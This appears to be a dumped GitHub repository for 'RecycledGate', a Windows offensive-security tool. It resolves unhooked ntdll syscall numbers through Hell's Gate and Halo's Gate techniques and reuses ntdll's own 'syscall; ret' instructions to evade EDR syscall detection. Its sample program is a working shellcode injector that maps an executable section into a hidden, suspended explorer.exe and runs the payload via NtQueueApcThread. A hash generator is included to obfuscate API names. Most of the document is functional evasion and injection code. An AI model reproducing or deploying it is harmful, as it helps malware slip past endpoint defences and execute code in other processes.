├── Sample
├── testshellcode
│ └── HelloWorld.bin
├── Sample.vcxproj.user
├── Defines.h
├── Sample.sln
├── Sample.vcxproj.filters
├── Main.c
└── Sample.vcxproj
├── HashGenerator
├── HashGenerator.vcxproj.user
├── Main.c
├── HashGenerator.vcxproj.filters
├── HashGenerator.sln
└── HashGenerator.vcxproj
├── src
├── GateTrampolin.asm
├── RecycledGate.h
└── RecycledGate.c
└── README.md
/Sample/testshellcode/HelloWorld.bin:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/thefLink/RecycledGate/HEAD/Sample/testshellcode/HelloWorld.bin
--------------------------------------------------------------------------------
/Sample/Sample.vcxproj.user:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
--------------------------------------------------------------------------------
/HashGenerator/HashGenerator.vcxproj.user:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
--------------------------------------------------------------------------------
/Sample/Defines.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include "windows.h"
3 |
4 | typedef VOID(KNORMAL_ROUTINE) (
5 | IN PVOID NormalContext,
6 | IN PVOID SystemArgument1,
7 | IN PVOID SystemArgument2);
8 |
9 | typedef KNORMAL_ROUTINE* PKNORMAL_ROUTINE;
10 |
--------------------------------------------------------------------------------
/src/GateTrampolin.asm:
--------------------------------------------------------------------------------
1 | .code
2 |
3 | PrepareSyscall PROC
4 |
5 | xor r11, r11
6 | xor r10, r10
7 | mov r11, rcx
8 | mov r10, rdx
9 | ret
10 |
11 |
12 | PrepareSyscall ENDP
13 |
14 | DoSyscall Proc
15 |
16 | push r10
17 | xor rax, rax
18 | mov r10, rcx
19 | mov eax, r11d
20 | ret
21 |
22 | DoSyscall ENDP
23 |
24 | end
25 |
--------------------------------------------------------------------------------
/HashGenerator/Main.c:
--------------------------------------------------------------------------------
1 |
2 | #include "windows.h"
3 | #include "stdio.h"
4 |
5 | unsigned long djb2(unsigned char* str)
6 | {
7 | unsigned long hash = 5381;
8 | int c;
9 |
10 | while (c = *str++)
11 | hash = ((hash << 5) + hash) + c;
12 |
13 | return hash;
14 | }
15 |
16 |
17 | unsigned long xor_hash(unsigned long hash, unsigned long key) {
18 | return hash ^ key;
19 | }
20 |
21 | int main(int argc, char** argv) {
22 |
23 | if (argc < 2)
24 | return 0;
25 |
26 | unsigned char* name = (unsigned char*)argv[1];
27 | unsigned long hash = djb2(name);
28 | unsigned long hash_crypted = xor_hash(hash, 0x41424344);
29 |
30 | printf("%x\n", hash);
31 | printf("%x\n", hash_crypted);
32 |
33 |
34 | return 0;
35 | }
36 |
37 |
--------------------------------------------------------------------------------
/HashGenerator/HashGenerator.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;c++;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Source Files
20 |
21 |
22 |
--------------------------------------------------------------------------------
/Sample/Sample.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 16
4 | VisualStudioVersion = 16.0.29920.165
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Sample", "Sample.vcxproj", "{E417A056-9215-4325-9629-C85464402C75}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|x64 = Debug|x64
11 | Debug|x86 = Debug|x86
12 | Release|x64 = Release|x64
13 | Release|x86 = Release|x86
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {E417A056-9215-4325-9629-C85464402C75}.Debug|x64.ActiveCfg = Debug|x64
17 | {E417A056-9215-4325-9629-C85464402C75}.Debug|x64.Build.0 = Debug|x64
18 | {E417A056-9215-4325-9629-C85464402C75}.Debug|x86.ActiveCfg = Debug|Win32
19 | {E417A056-9215-4325-9629-C85464402C75}.Debug|x86.Build.0 = Debug|Win32
20 | {E417A056-9215-4325-9629-C85464402C75}.Release|x64.ActiveCfg = Release|x64
21 | {E417A056-9215-4325-9629-C85464402C75}.Release|x64.Build.0 = Release|x64
22 | {E417A056-9215-4325-9629-C85464402C75}.Release|x86.ActiveCfg = Release|Win32
23 | {E417A056-9215-4325-9629-C85464402C75}.Release|x86.Build.0 = Release|Win32
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {6BC8154B-26FE-4B3B-86C6-E0C7E79B2FB4}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/HashGenerator/HashGenerator.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 16
4 | VisualStudioVersion = 16.0.29920.165
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "HashGenerator", "HashGenerator.vcxproj", "{8CAAF7E2-7269-4653-87A2-33B20B5EAECA}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|x64 = Debug|x64
11 | Debug|x86 = Debug|x86
12 | Release|x64 = Release|x64
13 | Release|x86 = Release|x86
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {8CAAF7E2-7269-4653-87A2-33B20B5EAECA}.Debug|x64.ActiveCfg = Debug|x64
17 | {8CAAF7E2-7269-4653-87A2-33B20B5EAECA}.Debug|x64.Build.0 = Debug|x64
18 | {8CAAF7E2-7269-4653-87A2-33B20B5EAECA}.Debug|x86.ActiveCfg = Debug|Win32
19 | {8CAAF7E2-7269-4653-87A2-33B20B5EAECA}.Debug|x86.Build.0 = Debug|Win32
20 | {8CAAF7E2-7269-4653-87A2-33B20B5EAECA}.Release|x64.ActiveCfg = Release|x64
21 | {8CAAF7E2-7269-4653-87A2-33B20B5EAECA}.Release|x64.Build.0 = Release|x64
22 | {8CAAF7E2-7269-4653-87A2-33B20B5EAECA}.Release|x86.ActiveCfg = Release|Win32
23 | {8CAAF7E2-7269-4653-87A2-33B20B5EAECA}.Release|x86.Build.0 = Release|Win32
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {D0590FC5-3F51-4BE2-AF10-3A8C146B274E}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/Sample/Sample.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;c++;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Header Files
20 |
21 |
22 | Header Files
23 |
24 |
25 |
26 |
27 | Source Files
28 |
29 |
30 |
31 |
32 | Source Files
33 |
34 |
35 | Source Files
36 |
37 |
38 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # RecycledGate
2 |
3 | This is just another implementation of Hellsgate + Halosgate/Tartarusgate.
4 |
5 | However, this implementation makes sure that **all system calls still go through ntdll.dll** to avoid the usage of direct systemcalls.
6 | To do so, I parse the ntdll for nonhooked syscall-stubs and re-use existing ```syscall;ret``` instructions - thus the name of this project.
7 |
8 | This probably bypasses some EDR trying to detect abnormal systemcalls.
9 | I have verified the sample program in this repository against [syscall-detect](https://github.com/jackullrich/syscall-detect) by [@winternl_t](https://twitter.com/winternl_t) which uses the [HookingNirvana](https://github.com/ionescu007/HookingNirvana/blob/master/Esoteric%20Hooks.pdf) technique to detect abnormal systemcalls.
10 |
11 | ```
12 | .\Sample.exe HelloWorld.bin
13 | [SYSCALL-DETECT] Console logging started...
14 | [SYSCALL-DETECT] ntdll BaseAddress: 0x368508928
15 | [SYSCALL-DETECT] win32u BaseAddress: 0x0
16 | [*] Resolving Syscall: 916c6394
17 | Found syscall using Halos gate
18 | Found syscall; ret instruction
19 | Syscall nr: 74
20 | Gate: 00007FF9160100E2
21 | [SNIP]
22 | [*] Resolving Syscall: 8a4e6274
23 | Found syscall using Halos gate
24 | Found syscall; ret instruction
25 | Syscall nr: 188
26 | Gate: 00007FF916010F12
27 | [*] Created section: 0x00000000000000B4
28 | [*] Mapped section locally: 0x000001B244E50000
29 | [*] Mapped section remote: 0x0000000000FE0000
30 | [*] NtQueueApcThread successfull
31 | [*] Resumed thread
32 | ```
33 |
34 | The sample program can be found in the **sample** folder
35 |
36 | ## Usage
37 | Here is a snippet, which should be self-explanatory.
38 | ```c
39 | Syscall sysNtCreateSection = { 0x00 };
40 | NTSTATUS ntStatus;
41 |
42 | dwSuccess = getSyscall(0x916c6394, &sysNtCreateSection);
43 | if (dwSuccess == FAIL)
44 | goto exit;
45 |
46 | PrepareSyscall(sysNtCreateSection.dwSyscallNr, sysNtCreateSection.pRecycledGate);
47 | ntStatus = DoSyscall(&hSection, SECTION_MAP_READ | SECTION_MAP_WRITE | SECTION_MAP_EXECUTE, NULL, (PLARGE_INTEGER)&sizeBuffer, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL);
48 | if (!NT_SUCCESS(ntStatus)) {
49 | printf("[-] Failed to create section\n");
50 | goto exit;
51 | }
52 |
53 | ```
54 | **Note**:
55 | * No lines of code should exist between the call to **PrepareSyscall** and **DoSyscall**
56 | * The hash algorithm used is djb2. All hashes must be encrypted with the key **0x41424344**. You can use the Hashgenerator in this repository
57 |
58 | ## Credits
59 | * [Sektor7](https://sektor7.net) for inventing and documenting [Halosgate](https://blog.sektor7.net/#!res/2021/halosgate.md) on which this project is based
60 | * [Sektor7](https://sektor7.net) for the amazing [windows evasion class](https://institute.sektor7.net/view/courses/rto-win-evasion/)
61 | * [@Am0nsec](https://twitter.com/am0nsec?lang=en) and @RtlMateusz for the [original Hellsgate implementation](https://github.com/am0nsec/HellsGate)
62 | * [@0xBoku](https://twitter.com/0xBoku) for inspiration and his [Halosgate implementation](https://github.com/boku7/AsmHalosGate/)
63 | * [@trickster012](https://twitter.com/trickster012) for the implementation of [Tartarusgate](https://github.com/trickster0/TartarusGate)
64 | * [@winternl_t](https://twitter.com/winternl_t) for the amazing [blogpost on detection of direct syscalls](https://winternl.com/detecting-manual-syscalls-from-user-mode/)
65 |
--------------------------------------------------------------------------------
/src/RecycledGate.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #pragma once
3 |
4 | #include "windows.h"
5 |
6 | #ifdef _DEBUG
7 | #include "stdio.h"
8 | #endif
9 |
10 | #define FAIL 0
11 | #define SUCCESS 1
12 |
13 | #define HASH_KEY 0x41424344
14 | #define SYS_STUB_SIZE 32
15 |
16 | #define UP -32
17 | #define DOWN 32
18 |
19 | #define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
20 |
21 | typedef struct {
22 |
23 | DWORD dwSyscallNr;
24 | PVOID pRecycledGate;
25 |
26 | } Syscall;
27 |
28 | typedef struct _UNICODE_STR {
29 | USHORT Length;
30 | USHORT MaximumLength;
31 | PWSTR pBuffer;
32 | } UNICODE_STR, * PUNICODE_STR;
33 |
34 | typedef struct _OBJECT_ATTRIBUTES {
35 | ULONG Length;
36 | HANDLE RootDirectory;
37 | PUNICODE_STR ObjectName;
38 | ULONG Attributes;
39 | PVOID SecurityDescriptor;
40 | PVOID SecurityQualityOfService;
41 | } OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;
42 |
43 | typedef struct _PEB_LDR_DATA
44 | {
45 | DWORD dwLength;
46 | DWORD dwInitialized;
47 | LPVOID lpSsHandle;
48 | LIST_ENTRY InLoadOrderModuleList;
49 | LIST_ENTRY InMemoryOrderModuleList;
50 | LIST_ENTRY InInitializationOrderModuleList;
51 | LPVOID lpEntryInProgress;
52 | } PEB_LDR_DATA, * PPEB_LDR_DATA;
53 |
54 | typedef struct _LDR_DATA_TABLE_ENTRY
55 | {
56 | LIST_ENTRY InMemoryOrderModuleList;
57 | LIST_ENTRY InInitializationOrderModuleList;
58 | PVOID DllBase;
59 | PVOID EntryPoint;
60 | ULONG SizeOfImage;
61 | UNICODE_STR FullDllName;
62 | UNICODE_STR BaseDllName;
63 | ULONG Flags;
64 | SHORT LoadCount;
65 | SHORT TlsIndex;
66 | LIST_ENTRY HashTableEntry;
67 | ULONG TimeDateStamp;
68 | } LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
69 |
70 | typedef struct _PEB_FREE_BLOCK
71 | {
72 | struct _PEB_FREE_BLOCK* pNext;
73 | DWORD dwSize;
74 | } PEB_FREE_BLOCK, * PPEB_FREE_BLOCK;
75 |
76 | typedef struct _PEB
77 | {
78 | BYTE bInheritedAddressSpace;
79 | BYTE bReadImageFileExecOptions;
80 | BYTE bBeingDebugged;
81 | BYTE bSpareBool;
82 | LPVOID lpMutant;
83 | LPVOID lpImageBaseAddress;
84 | PPEB_LDR_DATA pLdr;
85 | LPVOID lpProcessParameters;
86 | LPVOID lpSubSystemData;
87 | LPVOID lpProcessHeap;
88 | PRTL_CRITICAL_SECTION pFastPebLock;
89 | LPVOID lpFastPebLockRoutine;
90 | LPVOID lpFastPebUnlockRoutine;
91 | DWORD dwEnvironmentUpdateCount;
92 | LPVOID lpKernelCallbackTable;
93 | DWORD dwSystemReserved;
94 | DWORD dwAtlThunkSListPtr32;
95 | PPEB_FREE_BLOCK pFreeList;
96 | DWORD dwTlsExpansionCounter;
97 | LPVOID lpTlsBitmap;
98 | DWORD dwTlsBitmapBits[2];
99 | LPVOID lpReadOnlySharedMemoryBase;
100 | LPVOID lpReadOnlySharedMemoryHeap;
101 | LPVOID lpReadOnlyStaticServerData;
102 | LPVOID lpAnsiCodePageData;
103 | LPVOID lpOemCodePageData;
104 | LPVOID lpUnicodeCaseTableData;
105 | DWORD dwNumberOfProcessors;
106 | DWORD dwNtGlobalFlag;
107 | LARGE_INTEGER liCriticalSectionTimeout;
108 | DWORD dwHeapSegmentReserve;
109 | DWORD dwHeapSegmentCommit;
110 | DWORD dwHeapDeCommitTotalFreeThreshold;
111 | DWORD dwHeapDeCommitFreeBlockThreshold;
112 | DWORD dwNumberOfHeaps;
113 | DWORD dwMaximumNumberOfHeaps;
114 | LPVOID lpProcessHeaps;
115 | LPVOID lpGdiSharedHandleTable;
116 | LPVOID lpProcessStarterHelper;
117 | DWORD dwGdiDCAttributeList;
118 | LPVOID lpLoaderLock;
119 | DWORD dwOSMajorVersion;
120 | DWORD dwOSMinorVersion;
121 | WORD wOSBuildNumber;
122 | WORD wOSCSDVersion;
123 | DWORD dwOSPlatformId;
124 | DWORD dwImageSubsystem;
125 | DWORD dwImageSubsystemMajorVersion;
126 | DWORD dwImageSubsystemMinorVersion;
127 | DWORD dwImageProcessAffinityMask;
128 | DWORD dwGdiHandleBuffer[34];
129 | LPVOID lpPostProcessInitRoutine;
130 | LPVOID lpTlsExpansionBitmap;
131 | DWORD dwTlsExpansionBitmapBits[32];
132 | DWORD dwSessionId;
133 | ULARGE_INTEGER liAppCompatFlags;
134 | ULARGE_INTEGER liAppCompatFlagsUser;
135 | LPVOID lppShimData;
136 | LPVOID lpAppCompatInfo;
137 | UNICODE_STR usCSDVersion;
138 | LPVOID lpActivationContextData;
139 | LPVOID lpProcessAssemblyStorageMap;
140 | LPVOID lpSystemDefaultActivationContextData;
141 | LPVOID lpSystemAssemblyStorageMap;
142 | DWORD dwMinimumStackCommit;
143 | } PEB, * PPEB;
144 |
145 | PVOID findNtDll(void);
146 | WCHAR* toLower(WCHAR* str);
147 |
148 | extern void PrepareSyscall(DWORD dwSycallNr, PVOID dw64Gate);
149 | extern DoSyscall();
150 |
151 | PVOID findNtDll(void);
152 | DWORD getSyscall(DWORD crypted_hash, Syscall* pSyscall);
153 |
154 | unsigned long djb2_unicode(const wchar_t* str);
155 | unsigned long djb2(unsigned char* str);
156 | unsigned long xor_hash(unsigned long hash);
--------------------------------------------------------------------------------
/Sample/Main.c:
--------------------------------------------------------------------------------
1 | #include "windows.h"
2 |
3 | #include "Defines.h"
4 | #include "../src/RecycledGate.h"
5 |
6 | #include "stdio.h"
7 |
8 | extern void PrepareSyscall(DWORD dwSycallNr, PVOID dw64Gate);
9 | extern DoSyscall();
10 |
11 | PVOID findNtDll(void);
12 | DWORD getSyscall(DWORD crypted_hash, Syscall* pSyscall);
13 |
14 | int
15 | main(int argc, char** argv) {
16 |
17 |
18 | DWORD dwSuccess = FAIL, dwRead = 0;
19 | NTSTATUS ntStatus = 0;
20 | SIZE_T sizeBuffer = 0;
21 |
22 | Syscall sysNtCreateSection = { 0x00 }, sysNtMapViewOfSection = { 0x00 }, sysNtQueueApcThread = { 0x00 }, sysNtResumeThread = { 0x00 }, sysNtCreateThreadEx = { 0x00 };
23 | HANDLE hSection = NULL, hFile = NULL;
24 | PVOID pViewLocal = NULL, pViewRemote = NULL, pSH = NULL;
25 |
26 | STARTUPINFOA si = { 0x00 };
27 | PROCESS_INFORMATION pi = { 0x00 };
28 |
29 | if (argc < 2) {
30 | printf("%s shellcode.bin\n", argv[0]);
31 | goto exit;
32 | }
33 |
34 | dwSuccess = getSyscall(0x916c6394, &sysNtCreateSection);
35 | if (dwSuccess == FAIL)
36 | goto exit;
37 |
38 | dwSuccess = getSyscall(0x625d5a2e, &sysNtMapViewOfSection);
39 | if (dwSuccess == FAIL)
40 | goto exit;
41 |
42 | dwSuccess = getSyscall(0x9523617c, &sysNtQueueApcThread);
43 | if (dwSuccess == FAIL)
44 | goto exit;
45 |
46 | dwSuccess = getSyscall(0x6d397e74, &sysNtResumeThread);
47 | if (dwSuccess == FAIL)
48 | goto exit;
49 |
50 | dwSuccess = getSyscall(0x8a4e6274, &sysNtCreateThreadEx);
51 | if (dwSuccess == FAIL)
52 | goto exit;
53 |
54 | hFile = CreateFileA(argv[1], GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
55 | if (hFile == INVALID_HANDLE_VALUE) {
56 | printf("[-] Failed to open: %s\n", argv[1]);
57 | goto exit;
58 | }
59 |
60 | sizeBuffer = GetFileSize(hFile, NULL);
61 | if (sizeBuffer == 0) {
62 | printf("[-] File is empty?\n");
63 | goto exit;
64 | }
65 |
66 | pSH = VirtualAlloc(0, sizeBuffer, MEM_COMMIT, PAGE_READWRITE);
67 | if (pSH == NULL) {
68 | printf("Out of memory o.0\n");
69 | goto exit;
70 | }
71 |
72 | dwSuccess = ReadFile(hFile, pSH, (DWORD)sizeBuffer, &dwRead, NULL);
73 | if (dwSuccess == 0) {
74 | printf("[*] Failed to read\n");
75 | goto exit;
76 | }
77 |
78 | si.cb = sizeof(si);
79 | si.dwFlags = STARTF_USESHOWWINDOW;
80 | si.wShowWindow = SW_HIDE;
81 | si.dwFlags |= STARTF_USESTDHANDLES;
82 |
83 | dwSuccess = CreateProcessA("C:\\Windows\\explorer.exe", NULL, 0, 0, FALSE, CREATE_SUSPENDED, 0, 0, &si, &pi);
84 | if (dwSuccess == FAIL)
85 | goto exit;
86 |
87 | PrepareSyscall(sysNtCreateSection.dwSyscallNr, sysNtCreateSection.pRecycledGate);
88 | ntStatus = DoSyscall(&hSection, SECTION_MAP_READ | SECTION_MAP_WRITE | SECTION_MAP_EXECUTE, NULL, (PLARGE_INTEGER)&sizeBuffer, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL);
89 | if (!NT_SUCCESS(ntStatus)) {
90 | printf("[-] Failed to create section\n");
91 | goto exit;
92 | }
93 | printf("[*] Created section: 0x%p\n", hSection);
94 |
95 | PrepareSyscall(sysNtMapViewOfSection.dwSyscallNr, sysNtMapViewOfSection.pRecycledGate);
96 | ntStatus = DoSyscall(hSection, GetCurrentProcess(), &pViewLocal, 0, 0, NULL, (PLARGE_INTEGER)&sizeBuffer, 2, 0, PAGE_READWRITE);
97 | if (!NT_SUCCESS(ntStatus)) {
98 | printf("[-] Failed to map view of section locally\n");
99 | goto exit;
100 | }
101 | printf("[*] Mapped section locally: 0x%p\n", pViewLocal);
102 |
103 | PrepareSyscall(sysNtMapViewOfSection.dwSyscallNr, sysNtMapViewOfSection.pRecycledGate);
104 | ntStatus = DoSyscall(hSection, pi.hProcess, &pViewRemote, 0, 0, NULL, &sizeBuffer, 2, 0, PAGE_EXECUTE_READWRITE);
105 | if (!NT_SUCCESS(ntStatus)) {
106 | printf("[-] Failed to map view of section remotely\n");
107 | goto exit;
108 | }
109 | printf("[*] Mapped section remote: 0x%p\n", pViewRemote);
110 |
111 | for (int i = 0; i < sizeBuffer; i++)
112 | *((PBYTE)pViewLocal + i) = *((PBYTE)pSH + i);
113 |
114 | /*HANDLE hHostThread = INVALID_HANDLE_VALUE;
115 | PrepareSyscall(sysNtCreateThreadEx.dwSyscallNr, sysNtCreateThreadEx.pRecycledGate);
116 | ntStatus = DoSyscall(&hHostThread, 0x1FFFFF, NULL, (HANDLE)pi.hProcess, (LPTHREAD_START_ROUTINE)pViewRemote, NULL, FALSE, NULL, NULL, NULL, NULL);
117 |
118 | printf("now doing");
119 | getchar();*/
120 |
121 | PrepareSyscall(sysNtQueueApcThread.dwSyscallNr, sysNtQueueApcThread.pRecycledGate);
122 | ntStatus = DoSyscall(pi.hThread, (PKNORMAL_ROUTINE)pViewRemote, pViewRemote, NULL, NULL);
123 | if (!NT_SUCCESS(ntStatus)) {
124 | printf("[-] Failed to call NtQueueApcThread\n");
125 | goto exit;
126 | }
127 | printf("[*] NtQueueApcThread successfull\n");
128 |
129 |
130 | PrepareSyscall(sysNtResumeThread.dwSyscallNr, sysNtResumeThread.pRecycledGate);
131 | ntStatus = DoSyscall(pi.hThread, NULL);
132 | if (!NT_SUCCESS(ntStatus)) {
133 | printf("[-] Failed to resume thread\n");
134 | goto exit;
135 | }
136 | printf("[*] Resumed thread\n");
137 |
138 |
139 | dwSuccess = SUCCESS;
140 |
141 | exit:
142 |
143 | if (pi.hProcess)
144 | CloseHandle(pi.hProcess);
145 |
146 | if (pi.hThread)
147 | CloseHandle(pi.hThread);
148 |
149 | return dwSuccess;
150 |
151 | }
152 |
153 |
--------------------------------------------------------------------------------
/src/RecycledGate.c:
--------------------------------------------------------------------------------
1 | #include "RecycledGate.h"
2 |
3 | DWORD getSyscall(DWORD dwCryptedHash, Syscall* pSyscall) {
4 |
5 | PIMAGE_DOS_HEADER pDosHdr = NULL;
6 | PIMAGE_NT_HEADERS pNtHdrs = NULL;
7 | PIMAGE_EXPORT_DIRECTORY pExportDir = NULL;
8 |
9 | PVOID pGate = NULL, pNtdllBase = NULL, pStub = NULL;
10 | PDWORD pdwAddrOfNames = NULL, pdwAddrOfFunctions = NULL;
11 | PWORD pwAddrOfNameOrdinales = NULL;
12 | DWORD dwSyscallNr = 0, dwSuccess = FAIL;
13 | WORD wIdxStub = 0, wIdxfName = 0;
14 | PCHAR pFunctionName = NULL;
15 | BOOL bHooked = FALSE;
16 |
17 | #ifdef _DEBUG
18 | printf("[*] Resolving Syscall: %x\n", dwCryptedHash);
19 | #endif
20 |
21 | pNtdllBase = findNtDll();
22 | if (pNtdllBase == NULL)
23 | goto exit;
24 |
25 | pDosHdr = (PIMAGE_DOS_HEADER)pNtdllBase;
26 | pNtHdrs = (PIMAGE_NT_HEADERS)((PBYTE)pNtdllBase + pDosHdr->e_lfanew);
27 | pExportDir = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)pNtdllBase + pNtHdrs->OptionalHeader.DataDirectory[0].VirtualAddress);
28 |
29 | pdwAddrOfFunctions = (PDWORD)((PBYTE)pNtdllBase + pExportDir->AddressOfFunctions);
30 | pdwAddrOfNames = (PDWORD)((PBYTE)pNtdllBase + pExportDir->AddressOfNames);
31 | pwAddrOfNameOrdinales = (PWORD)((PBYTE)pNtdllBase + pExportDir->AddressOfNameOrdinals);
32 |
33 | for (wIdxfName = 0; wIdxfName < pExportDir->NumberOfNames; wIdxfName++) {
34 |
35 | pFunctionName = (PCHAR)((PBYTE)pNtdllBase + pdwAddrOfNames[wIdxfName]);
36 | pStub = (PVOID)((PBYTE)pNtdllBase + pdwAddrOfFunctions[pwAddrOfNameOrdinales[wIdxfName]]);
37 |
38 | if (djb2(pFunctionName) == xor_hash(dwCryptedHash))
39 | break;
40 |
41 | }
42 |
43 | if (pStub == NULL)
44 | goto exit;
45 |
46 | for (wIdxStub = 0; wIdxStub < SYS_STUB_SIZE; wIdxStub++) {
47 |
48 | if (*((PBYTE)pStub + wIdxStub) == 0xe9) { // This syscall stub is hooked
49 | bHooked = TRUE;
50 | break;
51 | }
52 |
53 | if (*((PBYTE)pStub + wIdxStub) == 0xc3) // Too far
54 | goto exit;
55 |
56 | if (*((PBYTE)pStub + wIdxStub) == 0x4c && *((PBYTE)pStub + wIdxStub + 1) == 0x8b && *((PBYTE)pStub + wIdxStub + 2) == 0xd1 &&
57 | *((PBYTE)pStub + wIdxStub + 3) == 0xb8 && *((PBYTE)pStub + wIdxStub + 6) == 0x00 && *((PBYTE)pStub + wIdxStub + 7) == 0x00) {
58 |
59 | BYTE low = *((PBYTE)pStub + 4 + wIdxStub);
60 | BYTE high = *((PBYTE)pStub + 5 + wIdxStub);
61 |
62 | dwSyscallNr = (high << 8) | low;
63 |
64 | #ifdef _DEBUG
65 | printf("\tFound syscall using Hells Gate\n");
66 | #endif
67 |
68 | break;
69 |
70 | }
71 | }
72 |
73 | if (bHooked) { // Check syscalls around our hooked syscall
74 |
75 |
76 | for (wIdxfName = 1; wIdxfName <= pExportDir->NumberOfFunctions; wIdxfName++) {
77 | if ((PBYTE)pStub + wIdxfName * DOWN < ((PBYTE)pNtdllBase + pdwAddrOfFunctions[pwAddrOfNameOrdinales[pExportDir->NumberOfFunctions - 1]])) {
78 | if (
79 | *((PBYTE)pStub + wIdxfName * DOWN) == 0x4c
80 | && *((PBYTE)pStub + 1 + wIdxfName * DOWN) == 0x8b
81 | && *((PBYTE)pStub + 2 + wIdxfName * DOWN) == 0xd1
82 | && *((PBYTE)pStub + 3 + wIdxfName * DOWN) == 0xb8
83 | && *((PBYTE)pStub + 6 + wIdxfName * DOWN) == 0x00
84 | && *((PBYTE)pStub + 7 + wIdxfName * DOWN) == 0x00) {
85 |
86 | BYTE high = *((PBYTE)pStub + 5 + wIdxfName * DOWN);
87 | BYTE low = *((PBYTE)pStub + 4 + wIdxfName * DOWN);
88 | dwSyscallNr = (high << 8) | low - wIdxfName;
89 |
90 | pStub = (PVOID)((PBYTE)pStub + wIdxfName * DOWN);
91 |
92 | break;
93 |
94 | }
95 | }
96 |
97 | if ((PBYTE)pStub + wIdxfName * UP > ((PBYTE)pNtdllBase + pdwAddrOfFunctions[pwAddrOfNameOrdinales[0]])) {
98 |
99 | if (*((PBYTE)pStub + wIdxfName * UP) == 0x4c
100 | && *((PBYTE)pStub + 1 + wIdxfName * UP) == 0x8b
101 | && *((PBYTE)pStub + 2 + wIdxfName * UP) == 0xd1
102 | && *((PBYTE)pStub + 3 + wIdxfName * UP) == 0xb8
103 | && *((PBYTE)pStub + 6 + wIdxfName * UP) == 0x00
104 | && *((PBYTE)pStub + 7 + wIdxfName * UP) == 0x00) {
105 |
106 | BYTE high = *((PBYTE)pStub + 5 + wIdxfName * UP);
107 | BYTE low = *((PBYTE)pStub + 4 + wIdxfName * UP);
108 | dwSyscallNr = (high << 8) | low + wIdxfName;
109 |
110 | pStub = (PVOID)((PBYTE)pStub + wIdxfName * UP);
111 |
112 | break;
113 |
114 | }
115 | }
116 | }
117 |
118 | #ifdef _DEBUG
119 | printf("\tFound syscall using Halos gate\n");
120 | #endif
121 |
122 | }
123 |
124 | if (pStub && dwSyscallNr) { // Last step: Search for syscall ; ret to use directly
125 | for (wIdxStub = 0; wIdxStub < SYS_STUB_SIZE; wIdxStub++) {
126 | if (*((PBYTE)pStub + wIdxStub) == 0x0f && *((PBYTE)pStub + wIdxStub + 1) == 0x05 && *((PBYTE)pStub + wIdxStub + 2) == 0xc3) { // syscall; ret - sequence?
127 | pGate = (LPVOID)((PBYTE)pStub + wIdxStub);
128 | break;
129 | }
130 | }
131 | }
132 |
133 | #ifdef _DEBUG
134 | printf("\tFound syscall; ret instruction\n");
135 | #endif
136 |
137 | if (pGate == NULL || dwSyscallNr == 0x00)
138 | goto exit;
139 |
140 | pSyscall->pRecycledGate = pGate;
141 | pSyscall->dwSyscallNr = dwSyscallNr;
142 |
143 | #ifdef _DEBUG
144 | printf("\tSyscall nr: %d\n", dwSyscallNr);
145 | printf("\tGate: %p\n", pGate);
146 | #endif
147 |
148 | dwSuccess = SUCCESS;
149 |
150 | exit:
151 |
152 | return dwSuccess;
153 |
154 | }
155 |
156 | PVOID findNtDll(void) {
